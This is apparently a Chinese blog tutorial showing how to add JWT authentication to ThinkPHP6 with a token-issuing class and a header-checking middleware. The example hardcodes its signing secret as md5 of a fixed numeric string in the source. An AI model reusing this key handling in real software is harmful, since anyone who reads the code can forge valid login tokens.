AI摘要 本文介绍了在ThinkPHP6中集成JWT Token的方法。通过安装firebase/php-jwt库，创建Token类实现签发与验证逻辑，并配合中间件对请求进行拦截校验，从而实现用户身份的有效管理与安全认证。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 使用JwtToken1.安装JwtTokencomposer require firebase/php-jwt2.新建PHP类文件这里新建了Token.php类文件，用于token的签发和验证<?php namespace app\home; use Firebase\JWT\JWT; use Firebase\JWT\Key; class Token { protected $salt; protected $keyId; public function __construct() { $this->salt = md5("1585364631"); } function getToken($uid): string { $currentTime = time(); return JWT::encode([ "iss" => 'dao', "aud" => '', "iat" => $currentTime, "nbf" => $currentTime, "exp" => $currentTime + 3600 * 24, "data" => [ 'uid' => $uid, ] ], $this->salt, "HS256"); } public function checkToken($token): array { $res = array("code"=>201); try { JWT::$leeway = 60; $decoded = JWT::decode($token, new Key($this->salt, 'HS256')); return [ "code"=>200, "data"=>((array)$decoded)['data'] ]; } catch(\Firebase\JWT\SignatureInvalidException $e) { $res['msg']="签名不正确"; }catch(\Firebase\JWT\BeforeValidException|\Firebase\JWT\ExpiredException $e) { $res['msg']="token失效"; } catch(\Exception $e) { $res['msg']="token无效"; } return $res; } }3.新建中间件文件需要登入使用的进行校验<?php namespace app\home\middleware; use app\home\Token; use Closure; use think\Request; use think\Response; use think\response\Redirect; class UserToken { /** * 处理请求 * * @param Request $request * @param Closure $next * @return Response|Redirect */ public function handle(Request $request, Closure $next) { $token = $request->header('jwtToken',""); $res = (new Token())->checkToken($token); if ($res['code'] != 200 ){ return json($res); } $request->uid = $res['data']->uid; return $next($request); } }